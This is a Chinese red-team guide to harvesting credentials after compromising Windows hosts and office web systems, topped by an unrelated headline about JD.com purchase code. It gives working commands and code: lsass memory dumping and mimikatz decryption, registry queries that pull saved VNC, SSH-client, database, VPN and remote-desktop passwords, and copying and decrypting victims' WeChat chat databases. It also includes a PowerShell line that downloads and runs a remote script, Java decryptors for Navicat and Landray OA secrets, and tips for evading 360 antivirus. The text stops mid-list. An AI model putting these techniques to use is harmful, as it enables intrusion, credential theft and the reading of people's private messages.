京東后臺搶購代碼(京東搶購程序怎么寫)
內(nèi)網(wǎng)憑據(jù)密碼收集指南
原創(chuàng)投稿作者:深藍(lán)實(shí)驗(yàn)室天威戰(zhàn)隊(duì)
前言
在攻防場景下,紅隊(duì)人員拿下一臺終端或服務(wù)器后,第一步要做的往往就是信息收集,為最大化利用權(quán)限,擴(kuò)大戰(zhàn)果,密碼抓取必不可少,這里針對常見應(yīng)用軟件和系統(tǒng)等密碼抓取做了記錄和總結(jié),希望能幫助你作為參考。
RDP憑證 本機(jī)RDP密碼
抓取本機(jī)RDP密碼是一個我們常遇到的場景,通常使用mimikatz抓取RDP密碼。
當(dāng)系統(tǒng)為win10或2012R2以上時(shí),默認(rèn)在內(nèi)存緩存中禁止保存明文密碼,這時(shí)抓取的明文密碼為空。
展開全文
可以嘗試解密NTLM獲取明文密碼。
上不了線的情況下,也可以在webshell中來dump內(nèi)存,保存到本地解密即可。Dump內(nèi)存的工具有很多,這里我們使用procdump64.exe為例進(jìn)行dump內(nèi)存:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
然后本地使用mimikatz進(jìn)行解密:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
文件lsass.dmp的導(dǎo)出可以有多種方式:procdump,avdump,sqldumper,comsvcs.dll等等,這里不過多贅述,能夠免殺轉(zhuǎn)儲即可。
RDP登錄憑證mimikatz
當(dāng)我們使用Windows自帶的遠(yuǎn)程桌面登錄成功并選擇保存憑據(jù)時(shí),會在本地留下rdp登錄憑證,如果我們獲得了遠(yuǎn)程桌面的憑證,可以方便我們進(jìn)行滲透測試中的橫向移動。查看本機(jī)鏈接過哪些機(jī)器:
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
獲取Credentials:
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
獲取guidMasterKey
mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\Credentials值" exit
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" cerd.txt
查找guid對應(yīng)的MasterKey:
解密獲取明文rdp憑證:
mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\ Credentials值/masterkey:masterkey值" exit
netpass
也可以利用netpass直接抓取密碼,使用時(shí)注意對應(yīng)系統(tǒng)版本,下載地址:https://www.nirsoft.net/utils/network_password_recovery.html
同時(shí)netpass也提供了命令行版本,下載頁面:https://www.nirsoft.net/password_recovery_tools.html
VNC密碼 UltraVNC
默認(rèn)配置路徑:
c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini
image.png
解密工具:https://github.com/jeroennijhof/vncpwd
image.png TightVNC
TightVNC的加密后密碼存在注冊表里內(nèi),注意查詢需要管理員權(quán)限。
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort
解密工具:https://github.com/jeroennijhof/vncpwd
image.png
image.png RealVNC
RealVNC別名WinVNC,RealVNC的加密后密碼存在注冊表里內(nèi),注意查詢需要管理員權(quán)限。
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password
解密工具:https://github.com/jeroennijhof/vncpwd
image.png TigerVNC
TigerVNC的加密后密碼存在注冊表里內(nèi),查詢無需管理員權(quán)限。
reg query HKEY_CURRENT_USER\SOFTWARE\TigerVNC\WinVNC4 /v "password"
解密工具:https://github.com/jeroennijhof/vncpwd
image.png VPN密碼
Windows自帶VPN連接,如果在配置VPN時(shí)選擇記住此密碼則會保存連接信息。
image.png
默認(rèn)保存連接信息目錄
%AppData%\Roaming\Microsoft\Network\Connections\Pbk
image.png
我們可以使用Dialupass來獲取VPN密碼信息,注意需要管理員權(quán)限,Dialupass使用說明和下載地址:https://www.nirsoft.net/utils/dialupass.html
image.png
同時(shí)Dialupass也提供了命令行版本,下載頁面:https://www.nirsoft.net/password_recovery_tools.html
image.png
免殺:截至目前刪除程序版本信息即可免殺360。
WiFi密碼
WiFi信息查詢命令,在cmd下執(zhí)行,無需管理員權(quán)限。
for/f "skip=9 tokens=1,2 delims=:"%i in( 'netsh wlan show profiles') do@ echo%j | findstr -i -v echo| netsh wlan show profiles %j key=clear
image.png 星號密碼
在攻防場景下很多時(shí)候在主機(jī)或服務(wù)器上遇到一些軟件配置使用了星號密碼,我們可以直接嘗試使用星號密碼查看來獲取明文密碼,省去尋找和解密配置文件的時(shí)間。常用的星號密碼查看器:
? Asterisk Password Spy [1] 支持180個應(yīng)用軟件密碼查看
? peekPassword [2]
image.png 通信軟件 個人微信
很多時(shí)候我們釣魚控下的主機(jī)都安裝了個人微信,很多時(shí)候會在微信上溝通密碼等敏感信息,在攻防場景下,由于是個人主機(jī)不方便直接遠(yuǎn)程操作,所以我們可以下載其離線聊天數(shù)據(jù)庫離線解密。
獲取解密密鑰
我們可以使用工具SharpWxDump [3] 來獲取解密密鑰,使用該工具需要注意兩點(diǎn),一是編譯工具選擇x86架構(gòu),而是對方微信必須是在登錄狀態(tài)。
image.png image.png 下載聊天記錄
微信聊天文件一般在:
%USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG0.db
%USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG1.db
%USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG2.db
注意:如果MSG0.db的大小超出240MB會自動生成MSG1.db,以此類推。打包聊天文件:
cd/d C:\Users\Public
# 由于微信運(yùn)行會占用此文件,需要進(jìn)行復(fù)制。
copy "C:\Users\test\Documents\WeChat Files\wxid_ll8ukjje2na922\Msg\Multi\MSG0.db"MSG0.db
# 使用Windows系統(tǒng)自帶命令進(jìn)行壓縮,方便快速下載。
makecab MSG0.db MSG0.cab
# 下載到本地后解壓
expandMSG0.cab MSG0.db 解密聊天文件
下載ChatViewTool [4] 后,將數(shù)據(jù)庫密鑰保存為文本文件DBPass.Bin,將解壓后的聊天記錄數(shù)據(jù)庫MSG0.db放在同目錄。
image.png
隨后打開ChatViewTool點(diǎn)擊數(shù)據(jù)庫解密并選擇密鑰文件DBPass.Bin和聊天記錄數(shù)據(jù)庫MSG0.db所在的目錄:
image.png
待解密完成后,會生成MSG0.db_dec.db,將MSG0.db_dec.db放到一個新目錄,點(diǎn)擊查看數(shù)據(jù)庫選擇此目錄即可完成會話展示,雙擊聯(lián)系人列表可展示對應(yīng)的聊天記錄。
image.png個人QQ
個人QQ由于有騰訊TP保護(hù),導(dǎo)致不能動態(tài)地從個人QQ的內(nèi)存獲取其聊天數(shù)據(jù)庫解密密鑰,暫時(shí)無法解密,感興趣可以閱讀一文。
運(yùn)維開發(fā) SVN
SVN類的版本控制軟件如TortoiseSVN默認(rèn)會將緩存的憑據(jù)保存到配置文件中,在Windows平臺上默認(rèn)會調(diào)用Windows數(shù)據(jù)保護(hù)API進(jìn)行加密。
image.png
SVN類客戶端軟件默認(rèn)配置文件目錄:
%APPDATA%\Subversion\auth\svn.simple\
%APPDATA%\Roaming\Subversion\auth\svn.simple\
image.png
我們可工具以使用TSvnPwd來解密。工具下載地址:http://www.leapbeyond.com/ric/TSvnPD/
image.png FileZilla
簡介:FileZilla客戶端是一個快速可靠的、跨平臺的FTP,FTPS和SFTP客戶端。
找到FileZilla的默認(rèn)配置文件目錄:
%userprofile%\AppData\Roaming\FileZilla\recentservers.xml
%userprofile%\AppData\Roaming\FileZilla\sitemanager.xml
密碼base64解碼即可得到明文:
也可以利用SharpDecryptPwd直接獲取密碼 工具下載地址:https://github.com/uknowsec/SharpDecryptPwd
SharpDecryptPwd.exe -FileZilla Winscp
簡介:WinSCP 是一個 Windows 環(huán)境下使用的 SSH 的開源圖形化 SFTP 客戶端。同時(shí)支持 SCP 協(xié)議。它的主要功能是在本地與遠(yuǎn)程計(jì)算機(jī)間安全地復(fù)制文件,并且可以直接編輯文件。
通過注冊表獲得密文:
reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"
reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\root@192.168.192.128"
通過winscppwd.exe即可解密:
winscppwd.exe root 192.168.192.128 密文
有時(shí)候管理員會導(dǎo)出配置為WinSCP.ini文件。
這時(shí)候直接查找該文件,然后解密即可。winscppwd下載地址:https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml也可以使用SharpDecryptPwd直接獲取密碼
Xshell
簡介:Xshell是一款功能強(qiáng)大的終端模擬器,支持SSH2,SSH3,SFTP,TELNET,RLOGIN和SERIAL。Xshell密碼默認(rèn)保存位置:
XShell 5:%userprofile%\Documents\NetSarang\Xshell\Sessions
XShell 6:%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
XShell 7:%userprofile%\Documents\NetSarang Computer\7\Xshell\Sessions
SharpXDecrypt支持解密XShell所有版本,包括XShell 7:
image.png
下載地址:https://github.com/JDArmy/SharpXDecrypt 注:XShell 7默認(rèn)session里面的密碼為空,這種可以使用星號密碼查看器直接查看密碼
FinalShell
簡介:FinalShell是一體化的的服務(wù)器,網(wǎng)絡(luò)管理軟件,不僅是ssh客戶端,還是功能強(qiáng)大的開發(fā),運(yùn)維工具。默認(rèn)配置文件地址:
%userprofile%\AppData\Local\finalshell\conn\xxx.json
使用FinalShell-Decoder選擇目錄即可解密:
下載地址:https://github.com/passer-W/FinalShell-Decoder
SecureCRT
SecureCRT默認(rèn)配置目錄:
dir%APPDATA%\VanDyke\Config\Sessions\
SecureCRT 7.3.3之前的版本使用password加密算法,之后的版本使用password v2算法:
S: "Password"=u17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc
S: "Password V2"=02:7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc
7.x 版本解密 [ 不帶第一位 "u" ]
SecureCRTCipher.py dec 17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc
8.x 版本解密 [ 不帶前面三位 "02:" ]
SecureCRTCipher.py dec -v2 7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc image.png
SecureCRT下載地址:https://github.com/HyperSine/how-does-SecureCRT-encrypt-password
Mobaxterm
MobaXterm連接信息默認(rèn)全部加密存于注冊表中,解密兩種情況。
無管理密碼的解密
首先是先切到指定用戶權(quán)限下,從注冊表中讀取連接信息和賬密 hash,此處測試的 MobaXterm 版本為 12.04 ,該版本不會強(qiáng)制你為連接設(shè)置管理密碼。
# reg query HKEY_CURRENT_USER\\Software\\Mobatek\\MobaXterm
# reg query HKEY_CURRENT_USER\\Software\\Mobatek\\MobaXterm\\P
之后再把密碼 hash 粘回本地解密,要帶上目標(biāo)機(jī)器名 和 MobaXterm 的安裝用戶。
python3 MobaXtermCipher.py dec -sysh Motoo-IISWeb -sysu administrator -h 192.168.159.6-u root +NYMdvHihPWokIa5KdDcjfIjb7pV1Qu*** 帶管理密碼的解密
此處測試的 MobaXterm 為最新版 20.5,該版本每次連接都會強(qiáng)制你設(shè)置管理密碼。
reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P
python3 MobaXtermCipher.py dec -p admin!@ #45 ehx0N63ueLNPkw==Navicat
簡介:Navicat Premium 是一套多連接數(shù)據(jù)庫開發(fā)工具,可一次快速方便地訪問多種數(shù)據(jù)庫。
離線解密
首先查詢Navicat注冊表里的密碼:
reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v host
reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v username
reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v pwd
image.png
然后可以使用以下代碼在線解密,注意Navicat版本:在線運(yùn)行地址:https://www.nhooo.com/tool/java8/
image.png packageorg.example;
importjavax.crypto.Cipher;
importjavax.crypto.spec.IvParameterSpec;
importjavax.crypto.spec.SecretKeySpec;
importjavax.xml.bind.DatatypeConverter;
importjava.nio.charset.StandardCharsets;
importjava.security.MessageDigest;
importjava.util.Arrays;
publicclassMain{
publicstaticvoidmain(String []args) {
//navicat11版本解密
Navicat11Cipherde=newNavicat11Cipher;
System.out.println(de.decryptString( "15057D7BA390"));
//navicat12以上版本解密
Navicat12Cipherde12=newNavicat12Cipher;
System.out.println(de12.decryptString( "503AA930968F877F04770B47DD731DC0"));
}
publicstaticclassNavicat11Cipher{
publicstaticfinalStringDefaultUserKey="3DC5CA39";
privatebyte[] _IV;
privateSecretKeySpec _Key;
privateCipher _Encryptor;
privateCipher _Decryptor;
privatevoidinitKey(String UserKey) {
try{
MessageDigestsha1=MessageDigest.getInstance( "SHA1");
byte[] userkey_data = UserKey.getBytes(StandardCharsets.UTF_8);
sha1.update(userkey_data, 0, userkey_data.length);
_Key = newSecretKeySpec(sha1.digest, "Blowfish");
} catch(Exception e) {
e.printStackTrace;
}
}
privatevoidinitChiperEncrypt{
try{
// Must use NoPadding
_Encryptor = Cipher.getInstance( "Blowfish/ECB/NoPadding");
_Encryptor.init(Cipher.ENCRYPT_MODE, _Key);
} catch(Exception e) {
e.printStackTrace;
}
}
privatevoidinitChiperDecrypt{
try{
// Must use NoPadding
_Decryptor = Cipher.getInstance( "Blowfish/ECB/NoPadding");
_Decryptor.init(Cipher.DECRYPT_MODE, _Key);
} catch(Exception e) {
e.printStackTrace;
}
}
privatevoidinitIV{
try{
byte[] initVec = DatatypeConverter.parseHexBinary( "FFFFFFFFFFFFFFFF");
_IV = _Encryptor.doFinal(initVec);
} catch(Exception e) {
e.printStackTrace;
}
}
privatevoidxorBytes( byte[] a, byte[] b) {
for( inti=0; i a.length; i++) {
intaVal=a[i] 0xff; // convert byte to integer
intbVal=b[i] 0xff;
a[i] = ( byte) (aVal ^ bVal); // xor aVal and bVal and typecast to byte
}
}
privatevoidxorBytes( byte[] a, byte[] b, intl) {
for( inti=0; i l; i++) {
intaVal=a[i] 0xff; // convert byte to integer
intbVal=b[i] 0xff;
a[i] = ( byte) (aVal ^ bVal); // xor aVal and bVal and typecast to byte
}
}
{
initKey(DefaultUserKey);
initChiperEncrypt;
initChiperDecrypt;
initIV;
}
privatebyte[] Encrypt( byte[] inData) {
try{
byte[] CV = Arrays.copyOf(_IV, _IV.length);
byte[] ret = newbyte[inData.length];
intblocks_len=inData.length / 8;
intleft_len=inData.length % 8;
for( inti=0; i blocks_len; i++) {
byte[] temp = Arrays.copyOfRange(inData, i * 8, (i * 8) + 8);
xorBytes(temp, CV);
temp = _Encryptor.doFinal(temp);
xorBytes(CV, temp);
System.arraycopy(temp, 0, ret, i * 8, 8);
}
if(left_len != 0) {
CV = _Encryptor.doFinal(CV);
byte[] temp = Arrays.copyOfRange(inData, blocks_len * 8, (blocks_len * 8) + left_len);
xorBytes(temp, CV, left_len);
System.arraycopy(temp, 0, ret, blocks_len * 8, temp.length);
}
returnret;
} catch(Exception e) {
e.printStackTrace;
returnnull;
}
}
publicString encryptString(String inputString) {
try{
byte[] inData = inputString.getBytes(StandardCharsets.UTF_8);
byte[] outData = Encrypt(inData);
returnDatatypeConverter.printHexBinary(outData);
} catch(Exception e) {
e.printStackTrace;
return"";
}
}
privatebyte[] Decrypt( byte[] inData) {
try{
byte[] CV = Arrays.copyOf(_IV, _IV.length);
byte[] ret = newbyte[inData.length];
intblocks_len=inData.length / 8;
intleft_len=inData.length % 8;
for( inti=0; i blocks_len; i++) {
byte[] temp = Arrays.copyOfRange(inData, i * 8, (i * 8) + 8);
temp = _Decryptor.doFinal(temp);
xorBytes(temp, CV);
System.arraycopy(temp, 0, ret, i * 8, 8);
for( intj=0; j CV.length; j++) {
CV[j] = ( byte) (CV[j] ^ inData[i * 8+ j]);
}
}
if(left_len != 0) {
CV = _Encryptor.doFinal(CV);
byte[] temp = Arrays.copyOfRange(inData, blocks_len * 8, (blocks_len * 8) + left_len);
xorBytes(temp, CV, left_len);
for( intj=0; j temp.length; j++) {
ret[blocks_len * 8+ j] = temp[j];
}
}
returnret;
} catch(Exception e) {
e.printStackTrace;
returnnull;
}
}
publicString decryptString(String hexString) {
try{
byte[] inData = DatatypeConverter.parseHexBinary(hexString);
byte[] outData = Decrypt(inData);
returnnewString(outData, StandardCharsets.UTF_8);
} catch(Exception e) {
e.printStackTrace;
return"";
}
}
}
publicstaticclassNavicat12Cipher{
privateSecretKeySpec _AesKey;
privateIvParameterSpec _AesIV;
{
_AesKey = newSecretKeySpec( "libcckeylibcckey".getBytes(StandardCharsets.UTF_8), "AES");
_AesIV = newIvParameterSpec( "libcciv libcciv ".getBytes(StandardCharsets.UTF_8));
}
publicString encryptString(String plaintext) {
try{
Ciphercipher=Cipher.getInstance( "AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, _AesKey, _AesIV);
byte[] ret = cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8));
returnDatatypeConverter.printHexBinary(ret);
} catch(Exception e) {
e.printStackTrace;
return"";
}
}
publicString decryptString(String ciphertext) {
try{
Ciphercipher=Cipher.getInstance( "AES/CBC/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, _AesKey, _AesIV);
byte[] ret = cipher.doFinal(DatatypeConverter.parseHexBinary(ciphertext));
returnnewString(ret, StandardCharsets.UTF_8);
} catch(Exception e) {
e.printStackTrace;
return"";
}
}
}
} SharpDecryptPwd
也可以直接1使用SharpDecryptPwd抓取密碼:
image.png 遠(yuǎn)程控制 TeamViewer
TeamViewer是遠(yuǎn)程訪問、遠(yuǎn)程控制及遠(yuǎn)程支持解決方案,能夠遠(yuǎn)程訪問位于各地的計(jì)算機(jī)或移動設(shè)備。直接獲取本機(jī)TeamViewer的ID以及密碼:
SharpDecryptPwd.exe -TeamViewer SunLogin 舊版本
這里舊版本是指v11.0.0.38222以及以前的版本
找到配置文件config.ini
安裝版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
便攜版(綠色版):C:\ProgramData\Oray\SunloginClient\config.ini
解密得到本機(jī)驗(yàn)證碼為4M9aON
較新版本
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo
最新版本
首先找到向日葵用戶進(jìn)程,然后使用procdump等工具轉(zhuǎn)儲進(jìn)程內(nèi)存。
tasklist /v | findstr /i sunlogin
procdump64.exe -accepteula -ma 進(jìn)程號 image-20221109181701558.png
image-20221109182129937.png image-20221109225035543.png ToDesk 本機(jī)連接
ToDesk的配置路徑在安裝目錄下的config.ini。
image.png
clientId為設(shè)備ID,AuthMode為認(rèn)證模式,0為僅使用臨時(shí)密碼,1為僅使用安全密碼,2為都可以使用,tempAuthPassEx為加密后的臨時(shí)密碼,authPassEx為加密后的安全密碼,我們只需本地安裝一個最新版本ToDesk,退出ToDesk,然后復(fù)制配置文件config.ini中的tempAuthPassEx或authPassEx字段到本地進(jìn)行替換,最后重新運(yùn)行ToDesk即可查看密碼。
image.png
image.png 遠(yuǎn)程連接
ToDesk默認(rèn)會保存連接過的信息,記錄的文件也是ToDesk安裝目錄下的userInfo.json文件,其中就有遠(yuǎn)程連接的設(shè)備ID,主機(jī)名,連接密碼等密碼信息。
image.png
我們只需復(fù)制userInfo.json文件放在ToDesk安裝目錄下,重新運(yùn)行ToDesk即可選擇進(jìn)行遠(yuǎn)程連接了,不需要輸入密碼。
image.png 瀏覽器 常見瀏覽器 WebBrowserPassView
WebBrowserPassView使用說明和下載地址:https://www.nirsoft.net/utils/web_browser_password.html WebBrowserPassView支持解密以下瀏覽器:
? Internet Explorer (Version 4.0 - 11.0)
? Mozilla Firefox (All Versions)
? Google Chrome
? Chromium-Based Edge
? Safari
? Opera
? Brave
? Waterfox
? SeaMonkey
? Vivaldi
? Yandex
? Chromium
WebBrowserPassView也提供了命令行版本,下載頁面:https://www.nirsoft.net/password_recovery_tools.html
image.png
WebBrowserPassView也支持離線解密:
image.png
免殺:截至目前刪除程序版本信息即可免殺360。
HackBrowserData
HackBrowserData 是一個瀏覽器數(shù)據(jù)(密碼|歷史記錄|Cookie|書簽|信用卡|下載記錄|localStorage|瀏覽器插件)的導(dǎo)出工具,支持全平臺主流瀏覽器。在Windows平臺支持以下瀏覽器的密碼,Cookie,書簽和歷史記錄信息:
? Google Chrome
? Google Chrome Beta
? Chromium
? Microsoft Edge
? 360 極速瀏覽器
? QQ瀏覽器
? Brave
? Opera
? OperaGX
? Vivaldi
? Yandex
? CocCoc
? Firefox
? Firefox Beta
? Firefox Dev
? Firefox ESR
? Firefox Nightly
使用說明和下載地址:https://github.com/moonD4rk/HackBrowserData
IE瀏覽器 credgrap_ie_edge
工具地址:https://github.com/HanseSecure/credgrap_ie_edge 內(nèi)存執(zhí)行powershell解密即可
powershell -nop-execbypass -c"IEX (New-Object Net.WebClient).DownloadString('http://xxx/credgrap_ie_edge.ps1')"
落地解密
IE Passwords Viewer
可以直接使用iepv直接獲取賬密,使用說明和下載地址:https://www.nirsoft.net/utils/internet_explorer_password.html
image.png
同時(shí)iepv也提供了命令行版本,下載頁面:https://www.nirsoft.net/password_recovery_tools.html
image.png
免殺:截至目前刪除程序版本信息即可免殺360。
360安全瀏覽器離線解密
首先切到指定用戶權(quán)限下,獲取機(jī)器id,
reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"/v "MachineGuid"image.png
然后找到賬密數(shù)據(jù)庫文件assis2.db路徑,將assis2.db下載到本地進(jìn)行解密。
reg query "HKCR\360SeSES\DefaultIcon"
dir"C:\Users\aky\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis"
執(zhí)行解密:
360SafeBrowserDecrypt.exe a9f521cd-2bd6-47fe-87db-69743456aa84 assis2.db
image.png 上傳解密
在免殺的情況下也可以直接上傳360SafeBrowserDecrypt.exe進(jìn)行解密。
image.png 其他瀏覽器
如果遇到其他的小眾瀏覽器,可以在本地安裝一個相同版本的瀏覽器,然后退出瀏覽器,將目標(biāo)上的瀏覽器用戶數(shù)據(jù)目錄打包到本地,在相同目錄進(jìn)行替換,重新打開瀏覽器,去瀏覽器設(shè)置里查看密碼。以下為一些瀏覽器的用戶數(shù)據(jù)目錄:
%AppData%/Local/Google/Chrome/User Data/Default/
%AppData%/Local/Google/Chrome Beta/User Data/Default/
%AppData%/Local/Chromium/User Data/Default/
%AppData%/Local/Microsoft/Edge/User Data/Default/
%AppData%/Local/BraveSoftware/Brave-Browser/User Data/Default/
%AppData%/Local/360chrome/Chrome/User Data/Default/
%AppData%/Local/Tencent/QQBrowser/User Data/Default/
%AppData%/Roaming/Opera Software/Opera Stable/
%AppData%/Roaming/Opera Software/Opera GX Stable/
%AppData%/Local/Vivaldi/User Data/Default/
%AppData%/Local/CocCoc/Browser/User Data/Default/
%AppData%/Local/Yandex/YandexBrowser/User Data/Default/
%AppData%/Roaming/Mozilla/Firefox/Profiles/
%AppData%/Roaming/SogouExplorer/Webkit/ WEB系統(tǒng) 通用方法
思路:絕大部分的配置信息,在內(nèi)存中,都是String類型的field字段,可以使用OQL語言直接從內(nèi)存中提取password字段的field值。
工具:https://github.com/corener/JavaPassDump
使用步驟:1、使用jcmd獲取JVM堆內(nèi)存 jmap,jcmd 都是JDK自帶工具,指定JVM pid 直接dump
jmap -dump:live,format=b,file=/tmp/dumpHeap.hprof 5760 2.1.png
2、使用OQLQuery提取密碼 OQL語句:
var filter = {};
map(heap.classes, function (cls) {
return map(cls.fields, function (field) {
if( field.name.toString.contains( "pass") || field.name.toString.contains( "username") ||field.name.toString.contains( "PASS")){
return map(heap.objects(cls), function (obs) {
var tag = cls.name+ "|"+field.name ;
var res = "class : "+cls.name+ "\n Field [ "+field.name.toString+ " : ";
if( obs[field.name.toString] != null){
res = res + obs[field.name.toString].toString+ " ]\n";
}else{
res = res + "null ]\n";
}
if (filter[tag] == null) {
filter[tag] = res;
print(res);
}
return null;
});
}
return null;
});
});
使用base64編碼oql語句傳入OQLQuery進(jìn)行提?。?/p>
java -jar ./OQLQuery.jar /tmp/dumpHeap.hprof dmFyIGZpbHRlciA9IHt9OwptYXAoaGVhcC5jbGFzc2VzKCksIGZ1bmN0aW9uIChjbHMpIHsKICAgcmV0dXJuIG1hcChjbHMuZmllbGRzLCBmdW5jdGlvbiAoZmllbGQpIHsgCiAgICAgIGlmKCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInBhc3MiKSB8fCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInVzZXJuYW1lIikgfHxmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoIlBBU1MiKSl7CiAgICAgICAgcmV0dXJuIG1hcChoZWFwLm9iamVjdHMoY2xzKSwgZnVuY3Rpb24gKG9icykgewogICAgICAgICAgdmFyIHRhZyA9IGNscy5uYW1lKyJ8IitmaWVsZC5uYW1lIDsKICAgICAgICAgIHZhciByZXMgPSAgImNsYXNzIDogIitjbHMubmFtZSsiXG4gRmllbGQgWyAiK2ZpZWxkLm5hbWUudG9TdHJpbmcoKSsiIDogIjsKICAgICAgICAgIGlmKCBvYnNbZmllbGQubmFtZS50b1N0cmluZygpXSAhPSBudWxsICl7CiAgICAgICAgICAgIHJlcyA9IHJlcyArIG9ic1tmaWVsZC5uYW1lLnRvU3RyaW5nKCldLnRvU3RyaW5nKCkrIiBdXG4iOwogICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIHJlcyA9IHJlcyArICJudWxsIF1cbiI7CiAgICAgICAgICB9CiAgICAgICAgICBpZiAoZmlsdGVyW3RhZ10gPT0gbnVsbCkgewogICAgICAgICAgICBmaWx0ZXJbdGFnXSA9IHJlczsKICAgICAgICAgICAgcHJpbnQocmVzKTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgIH0pOwogICAgICB9CiAgICAgIHJldHVybiBudWxsOwogIH0pOwp9KTs=
1.1.png
42f3e0d7257d7c3d6bec1dc42ab78d7.png
從圖中即可看到數(shù)據(jù)庫連接密碼。
致遠(yuǎn)OA
數(shù)據(jù)庫配置文件默認(rèn)位置:
/Seeyon/A8[致遠(yuǎn)版本]/base/conf/datasourceCtp.properties
使用工具解密:https://github.com/jas502n/OA-Seeyou
泛微系列e-cology
數(shù)據(jù)庫配置文件默認(rèn)位置:
D:\WEAVER\ecology\WEB-INF\prop\weaver.properties
用戶名表:HrmResource 管理員表:HrmResourceManager、TB_USER
image.png e-bridge
數(shù)據(jù)庫配置文件默認(rèn)位置:
D:\ebridge\tomcat\webapps\ROOT\WEB-INF\init.properties e-mobile
數(shù)據(jù)庫配置文件默認(rèn)位置:
D:\WEAVER\emobile\webapps\ROOT\WEB-INF\classes\application.properties e-office
數(shù)據(jù)庫配置文件默認(rèn)位置:
D:\eoffice\webroot\inc\oa_config.php
D:\eoffice\bin\mysql_config.ini 藍(lán)凌OA 解密后臺管理密碼
后臺管理地址一般是:
http: //x.x.x.x/admin.do
如果后臺管理地址遇到不是admin.do,則可以嘗試從以下文件中搜索SysConfigAdminAction即可找到后臺管理地址:
老版本對應(yīng)的為:\WEB-INF\KmssConfig\sys\config\struts.xml
新版本對應(yīng)的為:\WEB-INF\KmssConfig\sys\config\spring-safe.xml
或者:\WEB-INF\KmssConfig\sys\config\spring-mvc.xml
加密后的后臺管理密碼一般保存在:
/WEB-INF/KmssConfig/admin.properties
其使用的加密算法為DES-ECB,密鑰為kmssAdminKey,解密工具:https://github.com/zhutougg/LandrayDES
image.png 配置文件解密
配置文件默認(rèn)路徑:
ekp/WEB-INF/KmssConfig/kmssconfig.properties
其使用的加密算法為DES-ECB,密鑰為kmssPropertiesKey。
image.png
解密代碼:
packageorg.example;
importcn.hutool.core.util.CharsetUtil;
importcn.hutool.crypto.SecureUtil;
importcn.hutool.crypto.symmetric.DES;
importjava.nio.file.Files;
importjava.nio.file.Path;
importjava.nio.file.Paths;
publicclassMain{
publicstaticString decrypt( byte[] bytes, String key) {
DESdes=SecureUtil.des(key.getBytes);
returndes.decryptStr(bytes, CharsetUtil.charset( "gb2312"));
}
publicstaticvoidmain(String[] args) throwsException {
Pathpath=Paths.get( "D:\\Users\\Shmily\\Desktop\\kmssconfig.properties");
byte[] bytes = Files.readAllBytes(path);
Stringresult=decrypt(bytes, "kmssPropertiesKey");
System.out.println(result);
}
}
數(shù)據(jù)庫用戶密碼解密 用戶表:sys_org_person 前臺用戶在/login.jsp登陸時(shí)使用的密碼使用了md5和DES兩種加密方式存在數(shù)據(jù)庫中,其使用DES算法為DES-CBE,密鑰為kmssPropertiesKey。
f5a2cb7dffa11bec2fe1615b2ad6676.png
解密工具:https://github.com/zhutougg/LandrayDES
image.png 萬戶OA
數(shù)據(jù)庫配置文件默認(rèn)位置:
D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/config/whconfig.xml
D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/classes/fc.properties
/WEB-INF/config/ezoffice/config.xml
/jboss-as/server/oa/deploy /*-ds.xml //星號為具體數(shù)據(jù)庫比如mssql、oracle
通達(dá)OA
數(shù)據(jù)庫配置文件默認(rèn)位置:
C:\MYOA\mysql5\my.ini
C:\MYOA\webroot\inc\oa_config.php
C:\MYOA\bin\Service.ini
用友NC
